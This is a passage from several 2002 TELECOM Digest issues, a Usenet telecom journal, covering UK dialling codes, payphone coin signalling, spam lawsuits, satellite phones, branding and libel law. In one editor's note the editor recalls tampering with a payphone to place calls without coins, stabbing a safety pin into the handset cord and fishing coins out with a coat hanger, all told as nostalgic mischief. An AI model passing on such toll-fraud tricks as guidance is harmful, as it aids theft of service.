everyone has to dial the area code from mobile > phones (and we now have a mobile phone penetration of 70-80% in > the UK) I don't know why we don't just follow the Belgians and > (almost) Italians and move to full code+number dialing. It was shown that, since over 50% of all calls made are local, and since also the proportion of calls that are misdialled is far lower when dial-strings are kept to eight digits or less, retaining 8-digit (or less) dialling for local/regional calls would be beneficial to everyone. Mobile phones are different because quite a percentage of calls from mobiles are made to numbers stored in the phones' memories. > The ""O"" in the old UK dial went with the ""0"", so the Oxford code > was equivalent to 0092; but in around 1968-69 the UK dropped > letters in codes. While Leeds and Leicester changed to 0532 and > 0533, Oxford was given a new code, 0865, which -- with the extra > 1 after the zero -- still exists as 01865. The change to (provincial) codes beginning ""00"" did not take place until a year or two AFTER the general ""conversion"" to all-figure format. Most places were straight conversions - Oxford from 0OX2 to 0092, etc -- the exceptions being those major cities which had what were called ""Director"" systems, identifiable by area codes in the form 01 or 0X1 (where 1 Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Mon, 16 Dec 2002 22:53:40 GMT Organization: blueyonder (post doesn't reflect views of blueyonder) Bob Goudreau wrote in message news:telecom22.189.8@telecom-digest.org: > Phil McKerracher wrote: >> I agree! It has been seriously discussed (and of course Sweden did). I >> wouldn't describe either as an ""international standard"" though, since >> there is a fairly even balance between left and right countries >> worldwide. We're off topic though. >> By ""international standard"" I mean one that is accepted by the great >> majority of countries, not just more than one. > In that case, driving on the right side of the road is an > international standard, whether measured by number of countries, > population, land area or size of road networks. The balance is far > from ""fairly even""; right wins by a landslide. See > http://www.travel-library.com/general/driving/drive_which_side.html > for details. Fascinating site. I wouldn't call two-thirds a ""great majority"" myself, but I guess it counts for more than a ""landslide"" in American politics! :-) Phil McKerracher www.mckerracher.org ------------------------------ From: fybush@world.std.com (Scott D Fybush) Subject: Re: 011+ From NANP vs. 00+ From Most of World Organization: The World Public Access UNIX, Brookline, MA Date: Tue, 17 Dec 2002 00:46:45 GMT Alan Burkitt-Gray writes: > It's a mess that hasn't really been sorted out since the latest > changes. More than half the population of London still seems to think > they have two area codes (0207 and 0208, replacing the old 0171 and > 0181, replacing the even older 071 and 081) followed by seven-digit > local numbers, rather than a London-wide code, 020, followed by > eight-digit local numbers. The publicity never really got across that > the old area code split was being abolished. So they still dial the > area code when they dial across the old code boundary: in fact, they > are so confused they play safe and dial the area code in front of > everything -- presumably having not got through after dialing just > seven digits. I'd be interested to know if a similar situation applies > in Northern Ireland and in Portsmouth/Southampton. My experience when visiting London this past spring was that calls from BT payphones, like cellphones, require full national dialing; at least, my attempts to dial eight digits didn't go through, but dialing ""020"" first did. This brings to mind my frustration with the New York Times Sunday travel section, which has the bad habit of making NO distinction whatsoever between NANP numbers and everything else. It's not uncommon to see articles giving phone numbers for Australian hotels, restaurants, etc. as ""(61 2) xxxx-xxxx"", in the same week's section that might be listing Minneapolis hotels as ""(612) xxx-xxxx"", and I suspect that at least a few unwitting readers end up reaching Minneapolis when they mean to be calling Sydney. The Times also seems to have missed the news that London went to eight digits; an article on London a week or two ago was full of (44 207)xxx-xxxx style numbers. Somebody buy those people a ""+"" symbol and a clue (or even an ""011,"" considering that nearly all their distribution is within the NANP)! > and move to full code+number dialing. France seems to now require full national dialing; even from a residential. > At the same time named exchanges in London, Manchester etc were > replaced. So (01) FLEet Street 6170 (Ye Old Cheshire Cheese pub, at 15 > Fleet Street) became 01-353 6170 and is today 020 7353 6170. All of which is VERY recent history in the grand scheme of things; the pub in question boasts a sign outside noting it was *re*built after the Great Fire in 1666! So even if it's had a phone of any number since, say, 1890, that's still barely a third of its history :-) (My wife and I had a very nice lunch there during our trip!) -s ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. 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End of TELECOM Digest V22 #191 ****************************** >From editor@telecom-digest.org Tue Dec 17 15:36:12 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBHKaC012393; Tue, 17 Dec 2002 15:36:12 -0500 (EST) Date: Tue, 17 Dec 2002 15:36:12 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212172036.gBHKaC012393@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #192 TELECOM Digest Tue, 17 Dec 2002 15:35:00 EST Volume 22 : Issue 192 Inside This Issue: Editor: Patrick A. Townson Coin Collect and Return (Paul Coxwell) 020 for London (Bob Goudreau) Non Profit Telecom Classifieds (Steve Christie) Are All 900 Number Providers Hype Artists? (J Bass) AOL Wins Legal Round Against Spammers (Monty Solomon) Gilmore's Response (Gilmore v. Ashcroft FAA ID Challenge) (Monty Solomon) SONICblue Intros Networked DVD Player (Monty Solomon) Sanyo, Magis to Debut Wireless TV at CES (Monty Solomon) Cobra GPS Devices Receive Acceleration Technology (Monty Solomon) Satellite Phones Get Another Chance (The Old Bear) VoiceMail Systems (Robert R Kircher, Jr.) Re: Last Laugh! Black Christmas Lights (S Falke) Re: Court Rules Internet Case Can be Heard in Australia (Walter Dnes) Re: Court Rules Internet Case Can be Heard in Australia (David Clayton) Re: In a Roundabout Way (David Clayton) Re: Cell Phone Users to See Increase in Fees (John R. Levine) Re: Wireless Carriers Unite With Message: Don't Single Out (Walter Dnes) Last Laugh! Old Addresses (Joey Lindstrom) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: PaulCoxwell@aol.com Date: Mon, 16 Dec 2002 15:19:20 EST Subject: Coin Collect and Return Somebody in another forum mentioned that a Verizon tech told him of payphones which used a third wire from the CO with +/- 70V DC for coin collect and return. I've never heard of such a system, and it seems odd to me that a TelCo would go to the trouble of using a third wire to each coin phone. I was always under the impression that the most common U.S. method (at least in the old Bell System) was +/-120V DC applied across one side of the line and ground. Has anyone heard of this 3rd-wire 70V arrangement, either in the old Bell System or in any independents? What other systems have been used for coin collect/return? Paul Coxwell, Norfolk, U.K. [TELECOM Digest Editor's Note: Long time ago, when telco used three wires on all phones, the third wire was a connection to ground, when it was thought necessary to have it that way. In particular, pay phones all required three wires (one to earth ground) to 'start' the phone. You can still get a 'ground start' type line if you need it. Far too many years ago, as a twelve year old brat child, a relative had a payphone in his Walgreen's Drug Store in Whiting, Indiana. The drug store had a phone by the cashier which was for the store use, but my relative, the pharmacist had a private line at the pharmacy counter to call the doctors, etc. Phone number was Whiting 89. He also had a payphone at the front of the store, an old, ground start payphone in a phone booth, a light in it and a seat, with a door that would close to allow privacy in your conversations. Remember those? It was across from the fountain area. Occassionally the payphone would ring with an incoming call, for various people who were never there. I 'fixed' that phone so that there was an extension on it, by using a two-line turn button style phone which I mounted on the wall in place of the wall telephone in the pharmacy area in the back of the store. In addition to the usual read/green wires to the new extension which I put on one side of the turn button, I put my uncle's private phone on the other side of the turn button. If the payphone in the front of the store rang, he could answer it back there on the extension at the pharmacy counter by just turning the button and lifting the receiver. I tapped into the phone box on the wall in a back area; I thought I did a pretty good job on it. So my uncle could also make outgoing calls on the payphone from his phone at the pharmacy counter, I also ran the black wire from the payphone ground back there, and used the push ability on the turn button (normally open, push to close) to bring up the ground from the payphone. On payphones in those days, dropping the nickle in the slot on the top of the phone caused a mechanical finger in the phone to fall down and trip the ground wire when someone wanted to use the phone. Tripping the ground for a half second or so brought battery on the line, completed the loop, and allowed for the operator to come on and ask what you wanted. The way I fixed the extension, by pressing the turn button for a half second or so, then releasing it (when on that side of the phone line) you got the operator without having to put a nickle in to get her attention. It worked fine for a week or two, then one day the telephone inspector came around and I saw him talking to my uncle in the rear off the store. I made a sort of hasty exit, and stood on the sidewalk out in front of the store. Presently the inspector came out and gave me a sort of dirty look. He said 'something was wrong on the pay station, and he had to repair it.' He wondered if 'someone had tampered with it.' I told him I saw a 'bunch of kids' in there one day, maybe they had fooled around with it. The inspector looked at me and said 'well if I find the little bastards who cheated the phone company out of its money, there will be hell to pay. If you know who they were, you better warn them not to do it any more.' I assured him I would 'warn the guys I knew' not to mess around with the phone again and he said please be sure you do. I still remember that man; he had a big, red nose, no doubt from drinking too much ice tea. He said, 'I think you know too much for your own good. I hope I don't have to come here and visit with you again.' I know at the time it did scare me a little, but I was only 12-13 years old. Anyway, prior to 'dialtone first' payphones, you had to apply ground with that third wire (hopefully with a coin deposit in the slot on top) to get battery and/or operator and/or dialtone to make a call.) Where I went to high school we just used a safety-pin stabbed in the curly-cord to the handset to accomplish the job, and when that failed and a nickle or later a dime or two nickles was required, we had to use a bent coat hanger shoved up the return slot to retrieve the coins from the escrow table inside the phone. Now receiver cords are 'armored' and coin returns have trap doors on them to prevent that sort of tomfoolery. PAT] ------------------------------ Date: Mon, 16 Dec 2002 13:38:09 -0800 (PST) From: Bob Goudreau Reply-To: BobGoudreau@nc.rr.com Subject: 020 for London > It's a mess that hasn't really been sorted out since the latest > changes. More than half the population of London still seems to think > they have two area codes (0207 and 0208, replacing the old 0171 and > 0181, replacing the even older 071 and 081) followed by seven-digit > local numbers, rather than a London-wide code, 020, followed by > eight-digit local numbers. The publicity never really got across that > the old area code split was being abolished. So they still dial the > area code when they dial across the old code boundary: in fact, they > are so confused they play safe and dial the area code in front of > everything -- presumably having not got through after dialing just > seven digits. I know what you mean. In fact, just last month I was appalled to see an advertisement in _The_Economist_ for a London business that advertised its number as ""(0207) XXX XXXX"". Aargh! Bob Goudreau Cary, NC ------------------------------ From: steven.christie1@ntlworld.com (Steve Christie) Subject: Non Profit Telecom Classifieds Date: 16 Dec 2002 13:56:57 -0800 Organization: http://groups.google.com/ I need your support in promoting this new telecom classifieds website. It only takes a couple of minutes to place a free ad. This site makes no profit and is intended solely as a free resource for the global telecom industry. In addition if you would like to join our preferred directory drop me a line with your company information. www.telecomclassifieds.net Thanks in advance. ------------------------------ From: nobleGOODDOGgeorges@earthlink.net (J Bass) Subject: Are All 900 Number Providers Hype Artists? Date: Tue, 17 Dec 2002 00:21:43 GMT Organization: EarthLink Inc. -- http://www.EarthLink.net Folks, Are there any legitimate 900 number providers? Who are they? A google search turned up droves of outfits with hucksteresque pitches. Everyone in the legitimate telecommunication industry seems to claim no knowledge of 900 numbers, as if it was an irreparably tainted topic. Where do software companies go, for example, when they are setting up 900 tech support lines, etc? Thanks, J. Bass Remove GOODDOG to reply ------------------------------ Date: Mon, 16 Dec 2002 22:46:19 -0500 From: Monty Solomon Subject: AOL Wins Legal Round Against Spammers By Erin Joyce America Online has won a legal victory against a long time nemesis, CN Productions, which AOL has repeatedly accused of spamming its members with a daily barrage of pornographic e-mails. The ISP said a U.S. District Court in Virginia has awarded it close to $7 million in statutory damages in connection with its ongoing complaint against CN Productions, formerly of Rockford, Illinois. The company has been fighting for at least four years to get CN Productions to stop spamming its members. In ruling for AOL, a federal court also broadened the scope of a prior injunction AOL had won, helping AOL's quest to break the back of an international spam ring. The group has repeatedly sent porn-related spam to AOL members, the company charged, even after a federal judge slapped one of the alleged spam participants with an injunction barring the activity. http://dc.internet.com/news/article.php/10849_1557541 ------------------------------ Date: Mon, 16 Dec 2002 22:57:40 -0500 From: Monty Solomon Subject: Gilmore's Response (Gilmore v. Ashcroft -- FAA ID Challenge) From: Adam Shostack Gilmore's legal response to secret laws, etc. http://cryptome.org/gilmore-v-usa-god.htm ------------------------------ Date: Tue, 17 Dec 2002 08:45:49 -0500 From: Monty Solomon Subject: SONICblue Intros Networked DVD Player Go-Video D2730 Wins Innovation Award From CEA SONICblue introduced its first networked DVD player, the Go-Video D2730, which helps to bring all the pictures, music and video clips stored on a computer onto a TV. The product also received some pre-CES attention with Consumer Electronic Association (CEA) selecting it as a 2003 Innovation Award winner. The Go-Video D2730 is the first player of its kind to have the capability to stream MPEG2 video files through a wireless network from a computer to consumer electronics component. The D2730 works with either a PCMCIA Ethernet Adapter (included) or an optional PCMCIA 802.11b Wireless Network Card and can stream MPEG1 and MPEG2 video files that are compressed at bitrates up to 3 Mbps. The networked DVD Player can also stream audio files in both WMA and MP3 format and JPEG image files. http://www.skyretailer.com/archive/dec2002/r121702.shtm#one ------------------------------ Date: Tue, 17 Dec 2002 09:14:17 -0500 From: Monty Solomon Subject: Sanyo, Magis to Debut Wireless TV at CES New Technology to be Perfect for Home Theaters Sanyo and Magis Networks said that the they will be demonstrating a prototype Sanyo wireless television system at the upcoming 2003 CES, Jan. 9-12 in Las Vegas. Sanyo's prototype wireless television system incorporates Magis' Air5 chipset to enable the wireless transmission and reception of real-time video. The Sanyo CES demonstration will feature a Sanyo-designed wireless TV access point and remote terminal with Air5 chipsets transmitting and receiving video at up to 30 Mbps. This will be the first demonstration of Sanyo's wireless television system in the United States. http://www.skyretailer.com/archive/dec2002/r121702.shtm#two ------------------------------ Date: Tue, 17 Dec 2002 09:18:37 -0500 From: Monty Solomon Subject: Cobra GPS Devices Receive Acceleration Technology Users Can Find Location Faster, Devices to Appear at CES Cobra Electronics said that its new line of handheld GPS products will feature its exclusive accelerated satellite acquisition protocol (ASAP) technology enabling users to identify their location up to twice as fast as with any current consumer technology on the market. Cobra's line of GPS devices will not only be showcased at CES but will also attract GPS-hungry consumers - this represents possible new product offerings for retailers. http://www.skyretailer.com/archive/dec2002/r121202.shtm#one ------------------------------ Date: Tue, 17 Dec 2002 13:02:07 -0500 From: The Old Bear Subject: Satellite Phones Get Another Chance As summarized in NewsScan Daily for December 17. 2002: SATELLITE PHONES GET ANOTHER CHANCE Satellite phone companies Iridium and Globalstar foundered in the 1990s mainly because everything about them was pricey: the phones themselves cost as much as $3,000, customers had to pay as much as $7 a minute to use make calls, and they required expensive cell towers. But now the Federal Communications Commission is getting ready to approve a plan that will allow companies such as New ICO (backed by wireless pioneer and billionaire Craig McCaw), Globalstar, and Mobile Satellite Ventures (MSV) to offer systems that are much less costly (only about 30% more than ordinary cell phone prices) yet able to work virtually anywhere in the world. source: USA Today (17 Dec 2002) http://www.usatoday.com/tech/news/techinnovations/2002-12-16-satphone_x.htm NewsScan Daily is a lively summary of information technology news and is distributed FREE via email to its subscribers. To receive NewsScan, send email to NewsScan@NewsScan.com and in the subject line type ""subscribe"". For more information, see the NewsScan web pages at http://www.NewsScan.com ------------------------------ From: Robert R Kircher, Jr. Subject: VoiceMail Systems Date: Tue, 17 Dec 2002 13:40:01 -0500 I'm looking for a VM system to replace an aging PanaVoice system. Preferably I'd like to use the same four port card but use software that is Windows based and works on current PCs. Any suggestions? Rob ------------------------------ From: s falke Subject: Re: Last Laugh! Black Christmas Lights Organization: Prodigy Internet http://www.prodigy.com Date: Mon, 16 Dec 2002 21:30:26 GMT For the pervasive vehicularly addicted sort, you can get a ~$1.50 series-light string, cut out one or more ""12-14 volt"" sections, and parallel them on the end of a cigar-lighter cord -- e.g., CalRad 90-607 http://www.ba-electronics.com/tc6111b.jpg or equal, with 3M ""UG"" jelly splices, and have festive dashboard lighting! ... guaranteed as distracting as any cell phone. s falke Neal McLain wrote in message news:telecom22.188.6@telecom-digest.org: > You've all seen the ""individual ink tanks"" print ad for Canon printers > -- a photo of four Christmas lights: magenta, cyan, black, and yellow. > The black one is allegedly burned out. > What I want to know is: if a black Christmas light is burned out, how > would you know it? ------------------------------ From: Walter Dnes Subject: Re: Court Rules Internet Case Can be Heard in Australia Date: 16 Dec 2002 23:47:32 GMT Reply-To: waltdnes@waltdnes.org On Fri, 13 Dec 2002 18:33:22 -0800, Linc Madison, wrote: > The problem isn't so much a libel case in Australia, as a libel > case in a country where, for instance, truth is no defense against > libel. In the entire civilized world (including both the US and > Australia), we take that protection for granted, but there are > many countries where it isn't so, especially if the defamation is > against a government official or agency. It's even worse than that. As of 2002, there were 191 countries in the UN as per http://www.un.org/Overview/growth.htm (some of them being a glorified collection of low-lying coral reefs, but I digress). I can virtually guarantee that *ANY* website in world is breaking a law *SOMEWHERE* on this planet. Full-frontal nude pictures are considered obscene in some jurisdictions. OK, how about women dressed in street clothes ? Sorry, but in Islamic Republics, *ANY* ""graven images"" are illegal. And Full-facial-female-nudity is obscene. OK, how about a text-only website in plain English? Sorry, even *THAT* is illegal in France. Remember the kerfuffle about the American University in Paris, target audience Americans living in France, which got into legal trouble because its website wasn't written up primarily in French ? 99% of Australian websites are probably illegal under this problem. Ditto for most of the rest of the world. I repeat virtully *ANY* website is illegal *SOMEWHERE* on this planet. Walter Dnes I'm not repeating myself; I'm an X Window user, I'm an ex-Windows user Palladium ain't done till linux won't run ------------------------------ From: David Clayton Subject: Re: Court Rules Internet Case Can be Heard in Australia Date: Tue, 17 Dec 2002 13:33:46 +1100 Organization: Customer of Connect.com.au Pty. Ltd. Reply-To: dcstar@acslink.net.au Linc Madison contributed the following: > In any case, the Australian court made an egregious error in this > case. It is entirely unreasonable to hold that merely because someone > viewed a web page in a particular jurisdiction, that such viewing > constitutes ""publication"" in any sense of the word. The pre-Internet > analogy would be to try someone for defamation in Australia because a > magazine published in New Jersey was carried by a passenger on an > airplane to Australia, where someone read it and took umbrage. Even if > you take the analogy of a person in Australia ordering a magazine from > New Jersey, that still doesn't make the magazine ""published"" in > Australia. Publication in a particular jurisdiction *MUST* be held to > be an intentional act in that jurisdiction. Just for some further info, the interpretation of the *current* Australian law meant that the court made the right decision, but the whole issue of these laws and how they need to be updated for just this sort of situation is (I believe) under way. This decision is an example of 19th century precedents being applied to the 21st century paradigm, and hopefully it will expedite changes in law that will make some sense for the next 100 years or so. Hopefully the whole issue will be no more than a temporary inconvenience for web publishers everywhere. Regards, David Clayton, e-mail: dcstar@acslink.net.au Melbourne, Victoria, Australia. Dilbert's words of wisdom #18: Never argue with an idiot. They drag you down to their level then beat you with experience. ------------------------------ From: David Clayton Subject: Re: In a Roundabout Way Date: Tue, 17 Dec 2002 14:24:08 +1100 Organization: Customer of Connect.com.au Pty. Ltd. Reply-To: dcstar@acslink.net.au Paul A Lee contributed the following: > In TELECOM Digest V22 #185, jt > wrote: >> What no one has mentioned in discussing the comparative mertits of >> roundabouts versus stop-lights is the adaptive nature of the former >> over the latter. When traffic is light (the majority of time) >> roundabouts are superior. > From a traffic engineering standpoint, I understand that the main > benefit of a traffic circle over an intersection is the reduced number > of potential collision points and the lower energy vectors of those > collisions. That is to say that a circle pretty much does away with > head-on and T-bone collisions (except in the case of a completely > disoriented driver). > I still hate the damn things and find them counter-intuitive, > though ... Possible urban myth: I once heard of someone that had a collision in a roundabout with a car that was reversing around it at high speed, (the driver was ""hooning"" around being a general nuisance). The person, naturally, did not look for an oncoming vehicle from the direction opposite to normal when entering the roundabout, and of course was quite shocked when the other vehicle made contact! The thing about it was that the person entering the roundabout was found to ""be in the wrong"" and the reversing car's driver got off any penalty, because the law here says ""you must give way to any vehicle already in the roundabout"", and doesn't mention if it is going in the other direction! Regards, David Clayton, e-mail: dcstar@acslink.net.au Melbourne, Victoria, Australia. Dilbert's words of wisdom #18: Never argue with an idiot. They drag you down to their level then beat you with experience. ------------------------------ Date: 17 Dec 2002 00:34:27 -0500 From: johnl@iecc.com (John R. Levine) Subject: Re: Cell Phone Users to See Increase in Fees Organization: I.E.C.C., Trumansburg NY USA > The whole concept of the Universal Service Fund need to be rethought. > People think I'm constantly harping on this subject, but it's a > symptom of other problems with government today. If universal service > is an important societal goal (which I disagree with) then the costs > should be borne by taxpayers, not ratepayers. The point of USF is that your phone is more useful to you if there are people you can call. That's quite different from electric and gas which would be equally useful to you even if you were the only customer the electric company had. E-Rate is a botch, but USF for wider phone access still makes as much sense as it did in 1934. > When you choose to live 40 miles away from state-of-the-art > infrastructure you may encounter a down side. Deal with it. I live three blocks from a central office with an all-electronic phone switch and co-located ISP equipment. But due to the relatively low population density in this part of NY, it's still expensive to serve customers here. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: Walter Dnes Subject: Re: Wireless Carriers Unite With Message: Don't Single Out Date: 16 Dec 2002 23:47:36 GMT Reply-To: waltdnes@waltdnes.org On Sat, 14 Dec 2002 16:17:08 GMT, Dr. Joel M. Hoffman, wrote: > I wonder how long it will be before we get rid of area codes that > reflect localities. As nearly as I can tell, only one benefit of > knowing where an area code is remains: you know what time zone the > number is in. What about long-distance bills ? Say you're in southern Florida, and you call another number ""in the same area code"". When you get your monthly phone bill, you find a line item for a 30-minute, prime time, call to Hawaii or Alaska. Oops. Walter Dnes I'm not repeating myself; I'm an X Window user, I'm an ex-Windows user Palladium ain't done till linux won't run [TELECOM Digest Editor's Note: Don't you suppose that 30 seconds or less into that 30-minute phone call the party in Alaska or Hawaii or Russia or wherever would inform you that you had reached a wrong number and disconnect? Or would he say 'now that we are connected what should we talk about?' and stay on the line. Oops! A 30-minute wrong number call is impossible. Oops! PAT] ------------------------------ From: Joey Lindstrom Date: Tue, 17 Dec 2002 09:12:14 -0700 Subject: Old Addresses Reply-To: joey@lairdsflooring.com On Fri, 13 Dec 2002 16:15:15 -0500 (EST), editor@telecom-digest.org wrote: > of that manure each day. Would you believe just the other day I got > some spam which had been overlooked by the various removal tools using > an *old* (is 1989 old enough?) address for me at cs-bu.edu ... I could > not resist the temptation to make mock of the sender: I wrote him > back and said, ""I bet whoever you bought that massive list of ten > million email addresses from told you they were all current."" PAT] It is a current address. The spam reached you, didn't it? :-) Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com [TELECOM Digest Editor's Note: Yeah, and I hope this reaches you also. I have had about enough of your smart mouth for one day. One person -- just one! -- is permitted here to send sassy notes out in response to mail, and you are reading his Note now! :) PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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End of TELECOM Digest V22 #192 ****************************** >From editor@telecom-digest.org Wed Dec 18 00:35:10 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBI5ZAN22404; Wed, 18 Dec 2002 00:35:10 -0500 (EST) Date: Wed, 18 Dec 2002 00:35:10 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212180535.gBI5ZAN22404@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #193 TELECOM Digest Wed, 18 Dec 2002 00:35:00 EST Volume 22 : Issue 193 Inside This Issue: Editor: Patrick A. Townson Re: The Farce of National Branding (John Higdon) Re: The Farce of National Branding (John Hines) Re: The Farce of National Branding (Ed Ellers) Re: The Farce of National Branding (Gail M. Hall) Re: The Farce of National Branding (Jon Carpenter) Re: Portable ATM's an Invitation to Fraud? (Scott Dorsey) Re: 011+ From NANP vs. 00+ From Most of World (Paul Coxwell) Re: Are All 900 Number Providers Hype Artists? (John Higdon) Re: Are All 900 Number Providers Hype Artists? (Sam Etler) Re: Taxes/Transfers, was Re: Cell Phone Users to See Increase (Ed Ellers) Business Directory Entries (David B. Horvath, CCP) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: John Higdon Subject: Re: The Farce of National Branding Organization: Green Hills and Cows Date: Tue, 17 Dec 2002 11:06:37 -0800 In article , Ron Chapman wrote: > But if you control the mixing process, it is not true that there are > differences due strictly to region. It's all the same syrup. You know > that, you just refuse to admit it. But, as others have pointed out, it is not all the same water. > John, you're now rolling into the realm of the ridiculous in order to > try to keep your ""national branding is a farce"" assertion alive at any > cost. Face it: what you assert isn't the case. Some people have brought up some notable exceptions to my assertion, and I acknowledged up front that such exceptions existed. The bottom line is that I could name a whole lot more examples of meaningless brand names than anyone could name exceptions. That makes it a ""rule"" of sorts. > It is in your world, but your world is a tiny, tiny place relative > to the whole world at large. You can't take what's happened in the > telecom world over the past several years and apply it to the rest > of the world. The telecom world is weirder than most can imagine, > and stranger than anyone could sit down and invent. There are many more examples than telecom in the world of meaningless branding. Since I began with the naming of sports facilities, I'll mention this: the San Jose Arena (home of the Sharks hockey team) sold its name to Compaq. It is now called the ""HP Pavillion"" under the same contract. Yet another example of a meaningless brand name. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: John Hines Subject: Re: The Farce of National Branding Date: Tue, 17 Dec 2002 17:01:07 -0600 Organization: www.jhines.org Reply-To: john@jhines.org jbl wrote: > (or is that a myth? I don't think the seekrit syrup comes sweetened -- I > seem to recall seeing rail tank cars of corn syrup parked next to the > bottling plant I used to drive by - /J) All Coke bottled outside of the US is cane sugar. As is ""kosher"" Coke, which is produced in small quantities around Passover for the Jewish folks. It has to do with the sugar price supports for the growers in La. Sugar is artificially high in the US price wise. This has hit the Chicago area real hard, as there has been a steady exodus of candy makers. Lifesavers, formerly based around the lake in Holland Mi was the most recent big closure in the area. It was interesting in a sad way, to watch the two Senate candidates in the runoff, each talking about how well they supported their farmers, despite the impact those policies have on the other 49 states. ------------------------------ From: Ed Ellers Subject: Re: The Farce of National Branding Date: Tue, 17 Dec 2002 18:30:39 -0500 Mark Brader wrote: > In 1934 there was a reorganization; I've been told that this was the > result of an antitrust case. The same company was no longer allowed > to manufacture airplanes and airplane engines and operate an > airline."" That was a change in Federal law to deny air mail contracts to airlines that were controlled by airframe or engine manufacturers, because of a fear that unaffiliated airlines wouldn't be able to buy aircraft or engines from manufacturers that had their own airlines. PAT, the TELECOM Digest Editor, noted: > Whatever happened to the old Montgomery Ward Company? I know they > filed bankruptcy several years ago, but what are they know as now, > if anything?"" What was left of Wards was taken over by GE (which was apparently owed a lot of money for appliances); they finally went out of business this past February, after 129 years. Economist and conservative columnist Thomas Sowell did a short piece on the end of Wards, which can be found at http://www.capmag.com/articlePrint.asp?ID=864. [TELECOM Digest Editor's Note: Wards had its beginning in Chicago, on State Street downtown in the 1870's; I think around the time of the great fire. They finally abandoned their downtown Chicago operation after shoplifting and other problems plagued State Street during the 1970's. I think they were out of downtown Chicago as of 1978, although they kept their corporate offices in Chicago on the near north side until the end. They had many, many stores in small towns all over America even after 'conditions and circumstances' essentially forced them out of the Chicago business scene in 1978. ------------------------------ From: Gail M. Hall Subject: Re: The Farce of National Branding Date: Tue, 17 Dec 2002 19:34:12 -0500 Reply-To: gmhall@apk.net On Mon, 16 Dec 2002 20:01:18 -0000, in comp.dcom.telecom message : > John Higdon expostulated: >> Oh, you have offices in your own region? PacBell, excuse me, SBC closed >> everything in California. I don't think it is possible to speak to >> anyone who isn't physically located in Texas. > Yes. Ameritech's corporate hq was in Schaumburg IL, outside Chicago, > but Ameritech Ohio (the former Ohio Bell Telephone) still has its > corporate office at 45 Erieview Plaza downtown. That may change soon, > and of course Ameritech Ohio reports to SBC corporate... Well, they may still have offices downtown, but it is apparently a mere shell of its old self now for quite a while. We have friends who were laid off when all the administrative work -- like payroll, benefits, etc., went to Chicago. And I understand they contracted a lot of work to outside companies. We heard horror stories of employees being told their ""attending physician"" was miles and miles away from their home or work because the droids who assigned the doctors had no idea where different places were around here and their software was so poorly written that it didn't point them to the closest doctors. (I won't get into the issue that the employees were supposed to have completed a form giving a preference, so the only ones this happened to were people who didn't know who to choose.) It was around the time of the really big layoffs when they started printing the ""800"" numbers in the phone book for repair and other services from the company. So instead of an easy-to-remember 3-digit number, I had to put up another ""cheatsheet"" with such numbers because they never deliver the number of phone books we want here any more. Last summer we had to BEG for even ONE set because the droids they hired didn't bother to deliver them to us. Well, at least our phones do work most of the time. Gail in Ohio USA ------------------------------ From: Jon Carpenter Subject: Re: The Farce of National Branding Date: Tue, 17 Dec 2002 14:34:12 -0500 >> However, have you noticed that Coke and Pepsi taste differently in >> various regions? It takes no special talent to recognize the >> difference between a Bay Area canned Coke and one canned in Atlanta. >> Why would that be? >> [TELECOM Digest Editor's Note: Because some of the bottlers are using >> less or more syrup than the 'secret formula' calls for. {snip} PAT] > I understand that Coke bottled in Hawaii tastes different too, because > it's sweetened with sugar instead of corn syrup. During certain times of the year, you may also be able to buy Kosher Coke that is sweetened with sugar instead of corn syrup. Look for the yellow caps. (This is usually an annual thread in the ne.general newsgroup when people report Kosher Coke sightings in the local supermarkets.) ------------------------------ From: kludge@panix.com (Scott Dorsey) Subject: Re: Portable ATM's an Invitation to Fraud? Date: 17 Dec 2002 15:31:46 -0500 Organization: Former users of Netcom shell (1989-2000) RHS Linux User wrote: > The data links are typically encrypted with DES or triple DES. The > bigger hazzard is likely physical security -- dragging off the unit and > (trying) to smash it open. This is not a hazard at all, because these 